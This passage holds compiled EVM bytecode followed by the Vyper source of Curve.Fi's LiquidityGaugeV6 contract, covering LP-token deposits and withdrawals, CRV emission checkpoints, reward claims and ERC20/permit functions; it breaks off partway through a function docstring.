04eb5b0d3c460751c2402c5c5cc9109c600435610380526020610380a26102e0515f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610380526020610380a35b60035f5500611c2d565b63ef78d4fd8118611c2d57346128e157601a5460405260206040f3611c2d565b6354c49fe98118610b49576024361034176128e157600435600781116128e157601b015460405260206040f35b63be5d1be98118611c2d57346128e157600f5460d81c60405260206040f3611c2d565b637598108c8118610ba5576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f35b63fec8ee0c8118611c2d576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460405260206040f3611c2d565b63b6b55f258118610c12576024361034176128e157336102e0525f6103005261095b565b636e553f658118611c2d576044361034176128e1576024358060a01c6128e1576102e0525f6103005261095b56611c2d565b632e1a7d4d8118610c63576024361034176128e1575f6102e052610d88565b63e8de0d4d8118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605233600c548118610ca5576001610ce8565b600b5463f851a44060e052602060e0600460fc845afa610cc7573d5f5f3e3d5ffd5b60203d106128e15760e0518060a01c6128e157610120526101209050518118155b9050156128e157606051156128e1576010546080526007608051116128e15760116040516020525f5260405f20600181019050546128e15760605160116040516020525f5260405f2060018101905055604051608051600781116128e157601b0155608051600181018181106128e157905060105500611c2d565b6338d074368118611c2d576044361034176128e1576024358060011c6128e1576102e0525b5f546002146128e15760025f5533604052610da1611cc4565b60043515610e9d57601054151561030052600254610320526103005115610de05733604052610320516060526102e0516080525f60a052610de06121f9565b610320516004358082038281116128e15790509050610320526001336020525f5260405f20546004358082038281116128e1579050905061034052610340516001336020525f5260405f205561032051600255336040526103405160605261032051608052610e4d6125c3565b600d5463a9059cbb6103605233610380526004356103a0526020610360604461037c5f855af1610e7f573d5f5f3e3d5ffd5b60203d106128e157610360518060011c6128e1576103c0526103c050505b337f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364600435610300526020610300a25f337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610300526020610300a360035f5500611c2d565b639faceb1b8118611c2d576044361034176128e1576004358060a01c6128e1576102e0526024358060a01c6128e157610300525b5f546002146128e15760025f556103005115610f5b57336102e051186128e1575b6102e05160405260025460605260016080526103005160a052610f7c6121f9565b60035f5500611c2d565b63a9059cbb8118611c2d576044361034176128e1576004358060a01c6128e1576103a0525f546002146128e15760025f55336102e0526103a0516103005260243561032052610fd3612779565b60016103c05260206103c060035f55f3611c2d565b63d505accf8118611c2d5760e4361034176128e1576004358060a01c6128e157610120526024358060a01c6128e157610140526084358060081c6128e1576101605261012051156128e15760643542116128e157600a610120516020525f5260405f2054610180525f60026101c0527f19010000000000000000000000000000000000000000000000000000000000006101e0526101c08051602082018361032001815181525050808301925050506110a2610200611c31565b610200518161032001526020810190507f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c961024052610120516102605261014051610280526044356102a052610180516102c0526064356102e05260c061022052610220805160208201209050816103200152602081019050806103005261030090508051602082012090506101a052610120515f610240526101a0516101c052610160516101e052604060a461020037602061024060806101c060015afa5061024051186128e1576044356003610120516020525f5260405f2080610140516020525f5260405f2090505560016101805101600a610120516020525f5260405f205561014051610120517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256044356101c05260206101c0a360016101c05260206101c0f3611c2d565b63395093518118611c2d576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082018281106128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f3611c2d565b63a457c2d7811861134a576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082038281116128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f35b6390b229978118611c2d576024361034176128e1576004358060011c6128e157604052600b5463f851a440606052602060606004607c845afa61138f573d5f5f3e3d5ffd5b60203d106128e1576060518060a01c6128e15760a05260a090505133186128e157604051600e5500611c2d565b634b8200938118611c2d576024361034176128e1576004358060a01c6128e15761028052336102805181186113f257600161140b565b73d061d61a4d941c39e5453435b6345dc261c2fce08118155b9050156128e15761028051604052611421611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526114496125c3565b60016102a05260206102a0f3611c2d565b63bdf981168118611c2d576024361034176128e1576004358060a01c6128e1576040526040516012336020525f5260405f205500611c2d565b63aace1d488118611c2d576024361034176128e1576004358060a01c6128e15760405233600c5481186114c757600161150a565b600b5463f851a44060c052602060c0600460dc845afa6114e9573d5f5f3e3d5ffd5b60203d106128e15760c0518060a01c6128e157610100526101009050518118155b9050156128e157604051600c557fe83c80a0349150991cb09b4c940149ac4c37cb03673b6c0c669b4da27865c28b60405160605260206060a100611c2d565b6393f7aa67811861156b576044361034176128e15762093a80610300526115a7565b63313ce5678118611c2d57346128e157601260405260206040f3611c2d565b6333b50aed8118611826576064361034176128e157604435610300525b6004358060a01c6128e1576102e0525f546002146128e15760025f5560116102e0516020525f5260405f206001810190505433186128e1575f6040526002546060526040366080376115f76121f9565b6102e0516370a082316103405230610360526020610340602461035c845afa611622573d5f5f3e3d5ffd5b60203d106128e157610340905051610320526102e0516323b872dd61034052336103605230610380526024356103a0526020610340606461035c5f855af161166c573d5f5f3e3d5ffd5b3d61168357803b156128e15760016103c05261169c565b60203d106128e157610340518060011c6128e1576103c0525b6103c0905051156128e1576102e0516370a082316103405230610360526020610340602461035c845afa6116d2573d5f5f3e3d5ffd5b60203d106128e157610340905051610320518082038281116128e157905090506103205260116102e0516020525f5260405f206002810190505461034052610300516103205111156128e157610340514210156117b45761034051428082038281116128e15790509050610360526103605160116102e0516020525f5260405f20600381019050548082028115838383041417156128e157905090506103805261032051610380518082018281106128e157905090506103005180156128e1578082049050905060116102e0516020525f5260405f20600381019050556117e0565b610320516103005180156128e1578082049050905060116102e0516020525f5260405f20600381019050555b4260116102e0516020525f5260405f206004810190505542610300518082018281106128e1579050905060116102e0516020525f5260405f206002810190505560035f55005b63d31f3f6d8118611c2d57346128e157601a546c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f3611c2d565b63058a3a248118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260116040516020525f5260405f20600181019050546080523360805181186118b857600161190f565b600b5463f851a440610100526020610100600461011c845afa6118dd573d5f5f3e3d5ffd5b60203d106128e157610100518060a01c6128e15761014052610140905051811861190857600161190f565b600c548118155b9050156128e157608051156128e157606051156128e15760605160116040516020525f5260405f206001810190505500611c2d565b63e77e74378118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260146040516020525f5260405f20806060516020525f5260405f209050546fffffffffffffffffffffffffffffffff8116905060805260206080f3611c2d565b6333fd6f748118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260116060516020525f5260405f206005810190505460805260025460a05260a05115611aca574260116060516020525f5260405f20600281019050548082811882841002189050905060c05260c05160116060516020525f5260405f20600481019050548082038281116128e1579050905060e05260805160e05160116060516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060a05180156128e157808204905090508082018281106128e157905090506080525b60136060516020525f5260405f20806040516020525f5260405f2090505460c05260016040516020525f5260405f205460805160c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a76400008104905060e05260146040516020525f5260405f20806060516020525f5260405f2090505460801c60e0518082018281106128e15790509050610100526020610100f3611c2d565b63180692d08118611baf57346128e157600f547affffffffffffffffffffffffffffffffffffffffffffffffffffff8116905060405260206040f35b6354fd4d508118611c2d57346128e15760208060805260066040527f76362e312e30000000000000000000000000000000000000000000000000000060605260408160800181518152602082015160208201528051806020830101601f825f03163682375050601f19601f8251602001011690509050810190506080f35b5f5ffd5b60206129855f395f514614611cb9577f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60605260206129656080397f71916ddf3efd1d13d14899519c9cd193fa3f9be07ea852717d2f225de1eb246660a0524660c0523060e05260206129a56101003960c06040526040805160208201209050815250611cc2565b60206129c58239505b565b601a546060526060516c01431e0fae6d7217ca9fffffff81116128e157602301546080526060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460a052600f5460c05260c05160d81c60e052600e546101005260c0517affffffffffffffffffffffffffffffffffffffffffffffffffffff811690506101205261012051610140526101005115611d6857604036610120375b60805160e05110611e265763b26b238e610180526020610180600461019c5f73d533a949740bb3306d119cc777fa900ba034cd525af1611daa573d5f5f3e3d5ffd5b60203d106128e157610180516101605261010051611e0957632c4e722e610180526020610180600461019c73d533a949740bb3306d119cc777fa900ba034cd525afa611df8573d5f5f3e3d5ffd5b60203d106128e15761018051610140525b6101605160d81b610140518082018281106128e15790509050600f555b6080514211156120fa576016546101605263615e523761018052306101a052732f50d538606fa9edd2b11e2446beb18c9d5846bb3b156128e1575f610180602461019c5f732f50d538606fa9edd2b11e2446beb18c9d5846bb5af1611e8d573d5f5f3e3d5ffd5b6080516101805260805162093a8081018181106128e157905062093a808104905062093a8081028162093a808204186128e157905042808281188284100218905090506101a0525f6101f4905b806101c0526101a051610180518082038281116128e157905090506101e05263d3078c9461022052306102405261018051610260526020610220604461023c732f50d538606fa9edd2b11e2446beb18c9d5846bb5afa611f3c573d5f5f3e3d5ffd5b60203d106128e157610220516102005261016051156120b0576101805160e0511015611f68575f611f71565b6101a05160e051105b611fd35760a05161012051610200518082028115838383041417156128e157905090506101e0518082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0526120b0565b60a05161012051610200518082028115838383041417156128e1579050905060e051610180518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a052610140516101205260a05161012051610200518082028115838383041417156128e157905090506101a05160e0518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0525b426101a051186120bf576120f7565b6101a051610180526101a05162093a8081018181106128e157905042808281188284100218905090506101a052600101818118611eda575b50505b6060516001810180600f0b81186128e1579050606052606051601a55426060516c01431e0fae6d7217ca9fffffff81116128e1576023015560a0516060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015560156040516020525f5260405f20546101605260196040516020525f5260405f2080546101605160a05160176040516020525f5260405f20548082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490508082018281106128e1579050905081555060a05160176040516020525f5260405f20554260186040516020525f5260405f2055565b5f60c05260a05160e052604051156122545760016040516020525f5260405f205460c05260805161222a575f61222f565b60a051155b156122545760126040516020525f5260405f205460e05260e0516122545760405160e0525b601054610100525f6008905b8061012052610100516101205118612277576125bf565b61012051600781116128e157601b0154610140526011610140516020525f5260405f206005810190505461016052426011610140516020525f5260405f20600281019050548082811882841002189050905061018052610180516011610140516020525f5260405f20600481019050548082038281116128e157905090506101a0526101a0511561230c57606051151561230e565b5f5b156123ba57610180516011610140516020525f5260405f2060048101905055610160516101a0516011610140516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060605180156128e157808204905090508082018281106128e1579050905061016052610160516011610140516020525f5260405f20600581019050555b604051156125b4576013610140516020525f5260405f20806040516020525f5260405f209050546101c0525f6101e052610160516101c051101561245a57610160516013610140516020525f5260405f20806040516020525f5260405f2090505560c051610160516101c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490506101e0525b60146040516020525f5260405f2080610140516020525f5260405f20905054610200526102005160801c6101e0518082018281106128e157905090506102205261022051156125b457610200516fffffffffffffffffffffffffffffffff811690506102405260805161250d576101e051156125b457610240516102205160801b8082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050556125b4565b6101405163a9059cbb6102605260e05161028052610220516102a0526020610260604461027c5f855af1612543573d5f5f3e3d5ffd5b3d61255a57803b156128e15760016102c052612573565b60203d106128e157610260518060011c6128e1576102c0525b6102c0905051156128e15761024051610220518082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050555b600101818118612260575b5050565b63bbf7408a60c05260405160e052602060c0602460dc738e0c00ed546602fd9927df742bbabf726d5b0d165afa6125fc573d5f5f3e3d5ffd5b60203d106128e15760c05160a0526318160ddd60e052602060e0600460fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa61263d573d5f5f3e3d5ffd5b60203d106128e15760e05160c052606051602881028160288204186128e157905060648104905060e05260c051156126c45760e05160805160a0518082028115838383041417156128e1579050905060c05180156128e15780820490509050603c810281603c8204186128e15790506064810490508082018281106128e1579050905060e0525b60605160e0518082811882841002189050905060e05260156040516020525f5260405f20546101005260e05160156040516020525f5260405f205560165460e0518082018281106128e15790509050610100518082038281116128e1579050905061012052610120516016556040517f7ecd84343f76a23d2227290e0288da3251b045541698e575a5515af4f04197a3606051610140526080516101605260e05161018052610120516101a0526080610140a2565b6102e051604052612788611cc4565b61030051604052612797611cc4565b61032051156128a8576002546103405260105415156103605261036051156127d5576102e051604052610340516060526040366080376127d56121f9565b60016102e0516020525f5260405f2054610320518082038281116128e15790509050610380526103805160016102e0516020525f5260405f20556102e051604052610380516060526103405160805261282c6125c3565b61036051156128515761030051604052610340516060526040366080376128516121f9565b6001610300516020525f5260405f2054610320518082018281106128e1579050905061038052610380516001610300516020525f5260405f20556103005160405261038051606052610340516080526128a86125c3565b610300516102e0517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61032051610340526020610340a3565b5f80fd047203f31c2d02c91c2d1c2d1c2d08ec1493082f07f01c2d0b6c0c441c2d0fe81b7311ec1c2d13bc1c2d04d3145a129d07941c2d1c2d0f061c2d0131072a1c2d1c2d1c2d1c2d1c2d185e0bee06ea15491c2d0b1c1c2d1c2d1c2d158a1c2d1c2d1c2d00b7088e001819b505150d6319441c2d070a084f0f861c2d0afc023f1c2d3e5421bf73a37896f546d234f50916d7cbb9d9d63f033cf91b7fa9064104e54f0000000000000000000000000000000000000000000000000000000000000001e5b2c376b9f9468c6bf4a26feb90f1761084163255defd2c68cadf298c765876c8fcaf043c30a37e1fbda10c7fde1a5a913cb5305fc95263c734ba1692206f4d
# pragma version 0.3.10 # pragma optimize gas # pragma evm-version shanghai """ @title LiquidityGaugeV6 @author Curve.Fi @license Copyright (c) Curve.Fi, 2020-2023 - all rights reserved @notice Implementation contract for use with Curve Factory @dev Differs from v5.0.0 in that it uses create_from_blueprint to deploy Gauges """ from vyper.interfaces import ERC20 implements: ERC20 interface CRV20: def future_epoch_time_write() -> uint256: nonpayable def rate() -> uint256: view interface Controller: def checkpoint_gauge(addr: address): nonpayable def gauge_relative_weight(addr: address, time: uint256) -> uint256: view interface ERC20Extended: def symbol() -> String[32]: view interface ERC1271: def isValidSignature(_hash: bytes32, _signature: Bytes[65]) -> bytes32: view interface Factory: def admin() -> address: view interface Minter: def minted(user: address, gauge: address) -> uint256: view interface VotingEscrow: def user_point_epoch(addr: address) -> uint256: view def user_point_history__ts(addr: address, epoch: uint256) -> uint256: view interface VotingEscrowBoost: def adjusted_balance_of(_account: address) -> uint256: view event Deposit: provider: indexed(address) value: uint256 event Withdraw: provider: indexed(address) value: uint256 event UpdateLiquidityLimit: user: indexed(address) original_balance: uint256 original_supply: uint256 working_balance: uint256 working_supply: uint256 event CommitOwnership: admin: address event ApplyOwnership: admin: address event SetGaugeManager: _gauge_manager: address event Transfer: _from: indexed(address) _to: indexed(address) _value: uint256 event Approval: _owner: indexed(address) _spender: indexed(address) _value: uint256 struct Reward: token: address distributor: address period_finish: uint256 rate: uint256 last_update: uint256 integral: uint256 MAX_REWARDS: constant(uint256) = 8 TOKENLESS_PRODUCTION: constant(uint256) = 40 WEEK: constant(uint256) = 604800 VERSION: constant(String[8]) = "v6.1.0" # <- updated from v6.0.0 (makes rewards semi-permissionless) EIP712_TYPEHASH: constant(bytes32) = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)") EIP2612_TYPEHASH: constant(bytes32) = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)") VERSION_HASH: constant(bytes32) = keccak256(VERSION) NAME_HASH: immutable(bytes32) CACHED_CHAIN_ID: immutable(uint256) salt: public(immutable(bytes32)) CACHED_DOMAIN_SEPARATOR: immutable(bytes32) CRV: constant(address) = 0xD533a949740bb3306d119CC777fa900bA034cd52 GAUGE_CONTROLLER: constant(address) = 0x2F50D538606Fa9EDD2B11E2446BEb18C9D5846bB MINTER: constant(address) = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0 VEBOOST_PROXY: constant(address) = 0x8E0c00ed546602fD9927DF742bbAbF726D5B0d16 VOTING_ESCROW: constant(address) = 0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2 # ERC20 balanceOf: public(HashMap[address, uint256]) totalSupply: public(uint256) allowance: public(HashMap[address, HashMap[address, uint256]]) name: public(String[64]) symbol: public(String[40]) # ERC2612 nonces: public(HashMap[address, uint256]) # Gauge factory: public(address) manager: public(address) lp_token: public(address) is_killed: public(bool) # [future_epoch_time uint40][inflation_rate uint216] inflation_params: uint256 # For tracking external rewards reward_count: public(uint256) reward_data: public(HashMap[address, Reward]) # claimant -> default reward receiver rewards_receiver: public(HashMap[address, address]) # reward token -> claiming address -> integral reward_integral_for: public(HashMap[address, HashMap[address, uint256]]) # user -> [uint128 claimable amount][uint128 claimed amount] claim_data: HashMap[address, HashMap[address, uint256]] working_balances: public(HashMap[address, uint256]) working_supply: public(uint256) # 1e18 * ∫(rate(t) / totalSupply(t) dt) from (last_action) till checkpoint integrate_inv_supply_of: public(HashMap[address, uint256]) integrate_checkpoint_of: public(HashMap[address, uint256]) # ∫(balance * rate(t) / totalSupply(t) dt) from 0 till checkpoint # Units: rate * t = already number of coins per address to issue integrate_fraction: public(HashMap[address, uint256]) # The goal is to be able to calculate ∫(rate * balance / totalSupply dt) from 0 till checkpoint # All values are kept in units of being multiplied by 1e18 period: public(int128) # array of reward tokens reward_tokens: public(address[MAX_REWARDS]) period_timestamp: public(uint256[100000000000000000000000000000]) # 1e18 * ∫(rate(t) / totalSupply(t) dt) from 0 till checkpoint integrate_inv_supply: public(uint256[100000000000000000000000000000]) # bump epoch when rate() changes @external def __init__(_lp_token: address): """ @notice Contract constructor @param _lp_token Liquidity Pool contract address """ self.lp_token = _lp_token self.factory = msg.sender self.manager = tx.origin symbol: String[32] = ERC20Extended(_lp_token).symbol() name: String[64] = concat("Curve.fi ", symbol, " Gauge Deposit") self.name = name self.symbol = concat(symbol, "-gauge") self.period_timestamp[0] = block.timestamp self.inflation_params = ( (CRV20(CRV).future_epoch_time_write() << 216) + CRV20(CRV).rate() ) NAME_HASH = keccak256(name) salt = block.prevhash CACHED_CHAIN_ID = chain.id CACHED_DOMAIN_SEPARATOR = keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) # Internal Functions @view @internal def _domain_separator() -> bytes32: if chain.id != CACHED_CHAIN_ID: return keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) return CACHED_DOMAIN_SEPARATOR @internal def _checkpoint(addr: address): """ @notice Checkpoint for a user @dev Updates the CRV emissions a user is entitled to receive @param addr User address """ _period: int128 = self.period _period_time: uint256 = self.period_timestamp[_period] _integrate_inv_supply: uint256 = self.integrate_inv_supply[_period] inflation_params: uint256 = self.inflation_params prev_future_epoch: uint256 = inflation_params >> 216 gauge_is_killed: bool = self.is_killed rate: uint256 = inflation_params % 2 ** 216 new_rate: uint256 = rate if gauge_is_killed: rate = 0 new_rate = 0 if prev_future_epoch >= _period_time: future_epoch_time_write: uint256 = CRV20(CRV).future_epoch_time_write() if not gauge_is_killed: new_rate = CRV20(CRV).rate() self.inflation_params = (future_epoch_time_write << 216) + new_rate # Update integral of 1/supply if block.timestamp > _period_time: _working_supply: uint256 = self.working_supply Controller(GAUGE_CONTROLLER).checkpoint_gauge(self) prev_week_time: uint256 = _period_time week_time: uint256 = min((_period_time + WEEK) / WEEK * WEEK, block.timestamp) for i in range(500): dt: uint256 = week_time - prev_week_time w: uint256 = Controller(GAUGE_CONTROLLER).gauge_relative_weight(self, prev_week_time) if _working_supply > 0: if prev_future_epoch >= prev_week_time and prev_future_epoch < week_time: # If we went across one or multiple epochs, apply the rate # of the first epoch until it ends, and then the rate of # the last epoch. # If more than one epoch is crossed - the gauge gets less, # but that'd meen it wasn't called for more than 1 year _integrate_inv_supply += rate * w * (prev_future_epoch - prev_week_time) / _working_supply rate = new_rate _integrate_inv_supply += rate * w * (week_time - prev_future_epoch) / _working_supply else: _integrate_inv_supply += rate * w * dt / _working_supply # On precisions of the calculation # rate ~= 10e18 # last_weight > 0.01 * 1e18 = 1e16 (if pool weight is 1%) # _working_supply ~= TVL * 1e18 ~= 1e26 ($100M for example) # The largest loss is at dt = 1 # Loss is 1e-9 - acceptable if week_time == block.timestamp: break prev_week_time = week_time week_time = min(week_time + WEEK, block.timestamp) _period += 1 self.period = _period self.period_timestamp[_period] = block.timestamp self.integrate_inv_supply[_period] = _integrate_inv_supply # Update user-specific integrals _working_balance: uint256 = self.working_balances[addr] self.integrate_fraction[addr] += _working_balance * (_integrate_inv_supply - self.integrate_inv_supply_of[addr]) / 10 ** 18 self.integrate_inv_supply_of[addr] = _integrate_inv_supply self.integrate_checkpoint_of[addr] = block.timestamp @internal def _checkpoint_rewards(_user: address, _total_supply: uint256, _claim: bool, _receiver: address): """ @notice Claim pending rewards and checkpoint rewards for a user """ user_balance: uint256 = 0 receiver: address = _receiver if _user != empty(address): user_balance = self.balanceOf[_user] if _claim and _receiver == empty(address): # if receiver is not explicitly declared, check if a default receiver is set receiver = self.rewards_receiver[_user] if receiver == empty(address): # if no default receiver is set, direct claims to the user receiver = _user reward_count: uint256 = self.reward_count for i in range(MAX_REWARDS): if i == reward_count: break token: address = self.reward_tokens[i] integral: uint256 = self.reward_data[token].integral last_update: uint256 = min(block.timestamp, self.reward_data[token].period_finish) duration: uint256 = last_update - self.reward_data[token].last_update if duration != 0 and _total_supply != 0: self.reward_data[token].last_update = last_update integral += duration * self.reward_data[token].rate * 10**18 / _total_supply self.reward_data[token].integral = integral if _user != empty(address): integral_for: uint256 = self.reward_integral_for[token][_user] new_claimable: uint256 = 0 if integral_for < integral: self.reward_integral_for[token][_user] = integral new_claimable = user_balance * (integral - integral_for) / 10**18 claim_data: uint256 = self.claim_data[_user][token] total_claimable: uint256 = (claim_data >> 128) + new_claimable if total_claimable > 0: total_claimed: uint256 = claim_data % 2**128 if _claim: assert ERC20(token).transfer(receiver, total_claimable, default_return_value=True) self.claim_data[_user][token] = total_claimed + total_claimable elif new_claimable > 0: self.claim_data[_user][token] = total_claimed + (total_claimable << 128) @internal def _update_liquidity_limit(addr: address, l: uint256, L: uint256): """ @notice Calculate limits which depend on the amount of CRV token per-user. Effectively it calculates working balances to apply amplification of CRV production by CRV @param addr User address @param l User's amount of liquidity (LP tokens) @param L Total amount of liquidity (LP tokens) """ # To be called after totalSupply is updated voting_balance: uint256 = VotingEscrowBoost(VEBOOST_PROXY).adjusted_balance_of(addr) voting_total: uint256 = ERC20(VOTING_ESCROW).totalSupply() lim: uint256 = l * TOKENLESS_PRODUCTION / 100 if voting_total > 0: lim += L * voting_balance / voting_total * (100 - TOKENLESS_PRODUCTION) / 100 lim = min(l, lim) old_bal: uint256 = self.working_balances[addr] self.working_balances[addr] = lim _working_supply: uint256 = self.working_supply + lim - old_bal self.working_supply = _working_supply log UpdateLiquidityLimit(addr, l, L, lim, _working_supply) @internal def _transfer(_from: address, _to: address, _value: uint256): """ @notice Transfer tokens as well as checkpoint users """ self._checkpoint(_from) self._checkpoint(_to) if _value != 0: total_supply: uint256 = self.totalSupply is_rewards: bool = self.reward_count != 0 if is_rewards: self._checkpoint_rewards(_from, total_supply, False, empty(address)) new_balance: uint256 = self.balanceOf[_from] - _value self.balanceOf[_from] = new_balance self._update_liquidity_limit(_from, new_balance, total_supply) if is_rewards: self._checkpoint_rewards(_to, total_supply, False, empty(address)) new_balance = self.balanceOf[_to] + _value self.balanceOf[_to] = new_balance self._update_liquidity_limit(_to, new_balance, total_supply) log Transfer(_from, _to, _value) # External User Facing Functions @external @nonreentrant('lock') def deposit(_value: uint256, _addr: address = msg.sender, _claim_rewards: bool = False): """ @notice Deposit `_value` LP tokens @dev Depositting also claims pending reward tokens @param _value Number of tokens to deposit @param _addr Address to deposit for """ assert _addr != empty(address) # dev: cannot deposit for zero address self._checkpoint(_addr) if _value != 0: is_rewards: bool = self.reward_count != 0 total_supply: uint256 = self.totalSupply if is_rewards: self._checkpoint_rewards(_addr, total_supply, _claim_rewards, empty(address)) total_supply += _value new_balance: uint256 = self.balanceOf[_addr] + _value self.balanceOf[_addr] = new_balance self.totalSupply = total_supply self._update_liquidity_limit(_addr, new_balance, total_supply) ERC20(self.lp_token).transferFrom(msg.sender, self, _value) log Deposit(_addr, _value) log Transfer(empty(address), _addr, _value) @external @nonreentrant('lock') def withdraw(_value: uint256, _claim_rewards: bool = False): """ @notice Withdraw `_value` LP tokens @dev Withdrawing also claims pending reward tokens @param _value Number of tokens to withdraw """ self._checkpoint(msg.sender) if _value != 0: is_rewards: bool = self.reward_count != 0 total_supply: uint256 = self.totalSupply if is_rewards: self._checkpoint_rewards(msg.sender, total_supply, _claim_rewards, empty(address)) total_supply -= _value new_balance: uint256 = self.balanceOf[msg.sender] - _value self.balanceOf[msg.sender] = new_balance self.totalSupply = total_supply self._update_liquidity_limit(msg.sender, new_balance, total_supply) ERC20(self.lp_token).transfer(msg.sender, _value) log Withdraw(msg.sender, _value) log Transfer(msg.sender, empty(address), _value) @external @nonreentrant('lock') def claim_rewards(_addr: address = msg.sender, _receiver: address = empty(address)): """ @notice Claim available reward tokens for `_addr` @param _addr Address to claim for @param _receiver Address to transfer rewards to - if set to empty(address), uses the default reward receiver for the caller """ if _receiver != empty(address): assert _addr == msg.sender # dev: cannot redirect when claiming for another user self._checkpoint_rewards(_addr, self.totalSupply, True, _receiver) @external @nonreentrant('lock') def transferFrom(_from: address, _to :address, _value: uint256) -> bool: """ @notice Transfer tokens from one address to another. @dev Transferring claims pending reward tokens for the sender and receiver @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred """ _allowance: uint256 = self.allowance[_from][msg.sender] if _allowance != max_value(uint256): self.allowance[_from][msg.sender] = _allowance - _value self._transfer(_from, _to, _value) return True @external @nonreentrant('lock') def transfer(_to: address, _value: uint256) -> bool: """ @notice Transfer token for a specified address @dev Transferring claims pending reward tokens for the sender and receiver @param _to The address to transfer to. @param _value The amount to be transferred. """ self._transfer(msg.sender, _to, _value) return True @external def approve(_spender : address, _value : uint256) -> bool: """ @notice Approve the passed address to transfer the specified amount of tokens on behalf of msg.sender @dev Beware that changing an allowance via this method brings the risk that someone may use both the old and new allowance by unfortunate transaction ordering. This may be mitigated with the use of {incraseAllowance} and {decreaseAllowance}. https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address which will transfer the funds @param _value The amount of tokens that may be transferred @return bool success """ self.allowance[msg.sender][_spender] = _value log Approval(msg.sender, _spender, _value) return True @external def permit( _owner: address, _spender: address, _value: uint256, _deadline: uint256, _v: uint8, _r: bytes32, _s: bytes32 ) -> bool: """ @notice Approves spender by owner's signature to expend owner's tokens. See https://eips.ethereum.org/EIPS/eip-2612. @dev Inspired by https://github.com/yearn/yearn-vaults/blob/main/contracts/Vault.vy#L753-L793 @dev Supports smart contract wallets which implement ERC1271 https://eips.ethereum.org/EIPS/eip-1271 @param _owner The address which is a source of funds and has signed the Permit. @param _spender The address which is allowed to spend the funds. @param _value The amount of tokens to be spent. @param _deadline The timestamp after which the Permit is no longer valid. @param _v The bytes[64] of the valid secp256k1 signature of permit by owner @param _r The bytes[0:32] of the valid secp256k1 signature of permit by owner @param _s The bytes[32:64] of the valid secp256k1 signature of permit by owner @return True, if transaction completes successfully """ assert _owner != empty(address) # dev: invalid owner assert block.timestamp <= _deadline # dev: permit expired nonce: uint256 = self.nonces[_owner] digest: bytes32 = keccak256( concat( b"\x19\x01", self._domain_separator(), keccak256( _abi_encode( EIP2612_TYPEHASH, _owner, _spender, _value, nonce, _deadline ) ), ) ) assert ecrecover(digest, _v, _r, _s) == _owner # dev: invalid signature self.allowance[_owner][_spender] = _value self.nonces[_owner] = unsafe_add(nonce, 1) log Approval(_owner, _spender, _value) return True @external def increaseAllowance(_spender: address, _added_value: uint256) -> bool: """ @notice Increase the allowance granted to `_spender` by the caller @dev This is alternative to {approve} that can be used as a mitigation for the potential race condition @param _spender The address which will transfer the funds @param _added_value The amount of to increase the allowance @return bool success """ allowance: uint256 = self.allowance[msg.sender][_spender] + _added_value self.allowance[msg.sender][_spender] = allowance log Approval(msg.sender, _spender, allowance) return True @external def decreaseAllowance(_spender: address, _subtracted_value: uint256) -> bool: """ @notice Decrease the allowance granted to `_spender` by the caller @dev This is alternative to {approve} that can be used as a mitigation for the potential race condition @param _spender The address which will transfer the funds @param _subtracted_value The amount of to decrease the allowance @return bool success """ allowance: uint256 = self.allowance[msg.sender][_spender] - _subtracted_value self.allowance[msg.sender][_spender] = allowance log Approval(msg.sender, _spender, allowance) return True @external def user_checkpoint(addr: address) -> bool: """ @notice Record a checkpoint for 